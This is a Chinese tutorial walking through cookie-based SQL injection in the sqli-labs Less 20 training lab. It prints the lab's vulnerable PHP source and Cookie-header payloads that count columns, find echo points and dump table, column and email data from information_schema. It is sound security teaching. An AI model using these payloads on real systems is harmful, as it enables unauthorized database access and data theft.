SQL注入–利用cookie进行注入

靶场:sqli-labs-master
下载链接:靶场下载链接

第20关
php源码:

<?php
//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);
if(!isset($_COOKIE['uname'])){//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome&nbsp;&nbsp;&nbsp;<font color='#FF0000'> Dhakkan </font><br></div>";echo "<div  align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";echo "<div style='padding-top:10px; font-size:15px;'>";echo "<!--Form to post the contents -->";echo '<form action=" " name="form1" method="post">';echo ' <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;';echo '   <input type="text"  name="uname" value=""/>  </div>';echo ' <div> Password : &nbsp; &nbsp; &nbsp;';echo '   <input type="text" name="passwd" value=""/></div></br>';    echo '   <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';echo '</form>';echo '</div>';echo '</div>';echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';echo '<font size="3" color="#FFFF00">';echo '<center><br><br><br>';echo '<img src="../images/Less-20.jpg" />';echo '</center>';function check_input($value){if(!empty($value)){$value = substr($value,0,20); // truncation (see comments)}if (get_magic_quotes_gpc())  // Stripslashes if magic quotes enabled{$value = stripslashes($value);}if (!ctype_digit($value))      // Quote if not a number{$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}echo "<br>";echo "<br>";if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd']);$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);$cookee = $row1['username'];if($row1){echo '<font color= "#FFFF00" font size = 3 >';setcookie('uname', $cookee, time()+3600); header ('Location: index.php');echo "I LOVE YOU COOKIES";echo "</font>";echo '<font color= "#0000ff" font size = 3 >';          //echo 'Your Cookie is: ' .$cookee;echo "</font>";echo "<br>";print_r(mysql_error());         echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";          echo "</br>";echo '<img src="../images/slap.jpg" />';    echo "</font>";  }}echo "</font>";  echo '</font>';echo '</div>';}
else
{if(!isset($_POST['submit'])){$cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;echo "<center>";echo '<br><br><br>';echo '<img src="../images/Less-20.jpg" />';echo "<br><br><b>";echo '<br><font color= "red" font size="4">';   echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];echo "</font><br>";  echo '<font color= "cyan" font size="4">';    echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];           echo "</font><br>";           echo '<font color= "#FFFF00" font size = 4 >';echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";echo '<font color= "orange" font size = 5 >';         echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);echo "<br></font>";$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";$result=mysql_query($sql);if (!$result){die('Issue with your mysql: ' . mysql_error());}$row = mysql_fetch_array($result);if($row){echo '<font color= "pink" font size="5">';  echo 'Your Login name:'. $row['username'];echo "<br>";echo '<font color= "grey" font size="5">';      echo 'Your Password:' .$row['password'];echo "</font></b>";echo "<br>";echo 'Your ID:' .$row['id'];}else  {echo "<center>";echo '<br><br><br>';echo '<img src="../images/slap1.jpg" />';echo "<br><br><b>";//echo '<img src="../images/Less-20.jpg" />';}echo '<center>';echo '<form action="" method="post">';echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';echo '</form>';echo '</center>';}   else{echo '<center>';echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo '<font color= "#FFFF00" font size = 6 >';echo " Your Cookie is deleted";setcookie('uname', $row1['username'], time()-3600);header ('Location: index.php');echo '</font></center></br>';}      echo "<br>";echo "<br>";//header ('Location: main.php');echo "<br>";echo "<br>";//echo '<img src="../images/slap.jpg" /></center>';//logging the connection parameters to a file for analysis.   $fp=fopen('result.txt','a');fwrite($fp,'Cookie:'.$cookee."\n");fclose($fp);}
?>

知识补充:
http 无状态:用户访问一次服务器后,第二次访问时,服务器不会记得此用户访问过,因此返回结果与第一次一样

http返回信息中:1开头表示通知
2开头表示成功
3开头表示重定向
4开头表示客户端差错
5开头表示服务器端差错

cookie:cookie是客户第一次访问服务器时,服务器产生,后通过response的setCookie方法,将登陆信息放到响应头中,客户收到响应后,将cookie值存储在本地,下次访问同一个服务器时,即http-request请求时会将这个cookie放到request的Header中。服务器后台就可以根据cookie中有没有登陆信息,或者登陆信息是否超时来做进一步操作。
参考链接

效果:
第一次请求:

登陆后:

关闭浏览器,再次访问此页面,保存了登陆状态

这就是cookie的作用

使用burpsuite抓包进行分析

拦截返回包

可以看到,服务器的返回包中设置了cookie
此时放包,再次请求然后抓包


此时的请求中就带有服务器产生的cookie参数了

①.可以看到此时的请求包中直接另uname=admin,尝试在admin后加上单引号
然后放包观察页面回显


页面发生报错。可以确定存在sql注入,并且极有可能是使用单引号进行查询的sql语句

②.

1.猜解字段数:

Cookie: uname=admin' order by 3 --


页面无报错
说明字段数为3

2.猜解回显点

Cookie: uname=ssadasdasdsadsad' union select 1,2,3 --


回显点为2,3

后续注入语句参考sql注入–报错型

3.查询数据库中表的名字

Cookie: uname=admin' union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=database() --

4.查询对应表中的字段名

Cookie: uname=admin' union select 1,group_concat(column_name),user() from information_schema.columns where table_name='emails' --

5.查询对应表中字段的数据

Cookie: uname=admin' union select 1,id, email_id from emails where id=1 --

SQL注入--利用cookie进行注入相关推荐

  1. 关于sql注入之cookie注入

    小知识:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后 ...

  2. MySQL注入读写文件、HTTP头中的SQL注入和cookie注入

    MySQL注入读写文件 MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够) 读取前提: 1.用户权限足够高,尽量具有root权限 2. ...

  3. SQL查询结果集对注入的影响及利用

    对于注入而言,错误提示是极其重要.所谓错误提示是指和正确页面不同的结果反馈,高手是很重视这个一点的,这对于注入点的精准判断至关重要.本问讨论下关于几类错误和他产生的原理,希望对读者有所帮助. 错误提示 ...

  4. sql注入利用_SQL注入:这是什么? 原因和利用

    sql注入利用 摘要 (Summary) Many security vulnerabilities are discovered, patched, and go away forever. Som ...

  5. 利用Cookie劫持+HTML注入进行钓鱼攻击

    目录 HTML注入和cookie劫持: 发现漏洞 实际利用 来源 HTML注入和cookie劫持: HTML注入漏洞一般是由于在用户能够控制的输入点上,由于缺乏安全过滤,导致攻击者能将任意HTML代码 ...

  6. 【SQL注入-15】自动化注入案例—以sqli-labs-less9为例(利用sqlmap工具)

    目录 1 前言 2 自动化注入案例-以sqli-labs-less9为例 2.1 实验平台 2.2 注入前准备 2.3 判断注入点及注入类型 2.3.1 自动判断注入点及注入类型 2.3.2 手动判断 ...

  7. php sql 二次注入,espcms 二次注入一枚

    Author:Yaseng 1:通过 $alias 二次注入来控制sql 用户昵称 $alias 从数据库查询出来 未过滤 interface/member.php [php] $db_sql = & ...

  8. sql注入_1-8_宽字节注入

    文章目录 一.sql_宽字节注入概念 二.sql_宽字节注入源码分析 三.sql_宽字节注入演示 四.sql_宽字节注入总结 一.sql_宽字节注入概念 1.了解宽字节注入前,必须先了解字符集编码:点 ...

  9. 《小迪安全》第14天 SQL注入:注入类型及提交注入

    目录 注入前需要明确 数据库类型 请求方法 数据类型 演示案例 参数字符型注入测试:sqlilabs less 5 6 POST数据提交注入测试:sqlilabs less 11 COOKIE数据提交 ...

最新文章

  1. agilebpm脑图_干货基于SpringBoot2开发的Activiti引擎流程管理项目脚手架
  2. Python超详细的字符串用法大全
  3. HD-SDI DVR发展与应用剖析
  4. CodeForces:103(div1)104(div2)
  5. android 字体荧光效果,Android-荧光效果
  6. forward/redirect跳转页面的区别
  7. C# Conditional(方法,属性的忽略)使用
  8. ElasticSearch2.1 基于空间位置geo_query距离计算
  9. Centos挂载iscsi存储
  10. word表格三线表线宽度
  11. python为什么要安装pip_为什么您应该使用`python -m pip`
  12. 土地数据合集-土地出让数据2020版Globe30土地覆盖数据
  13. win10系统安装jdk8简易教程
  14. NoteExpress
  15. 2020年中国SCADA行业产值、市场规模及竞争格局分析[图]
  16. python应用——简单的跟随北上资金策略
  17. Ambari Server重启报错的解决办法
  18. 只读ppt如何获得可编辑版本?
  19. Java实现HMacMD5加密,用于淘宝客JS 组件 API 调用时生成 sign 的签名
  20. 【树莓派】网络视频监控

热门文章

  1. python怎么批量下载图片_python批量下载照片
  2. 史上最全面的苏州工业园区虚拟住房补贴申请攻略
  3. 最详细职场面试题目(一)
  4. 课时31 永久储存:腌制一缸美味的泡菜
  5. html斜线背景,PS斜线底纹如何制作?
  6. java webshell_都0202年了老嗨还在用的 - 各种姿势jsp webshell
  7. 单循环赛贝格尔编排法实现
  8. Python迷宫生成器
  9. 多目标优化-测试问题及其Pareto前沿
  10. 不用代码!手把手教你Excel构建数据分析预测模型!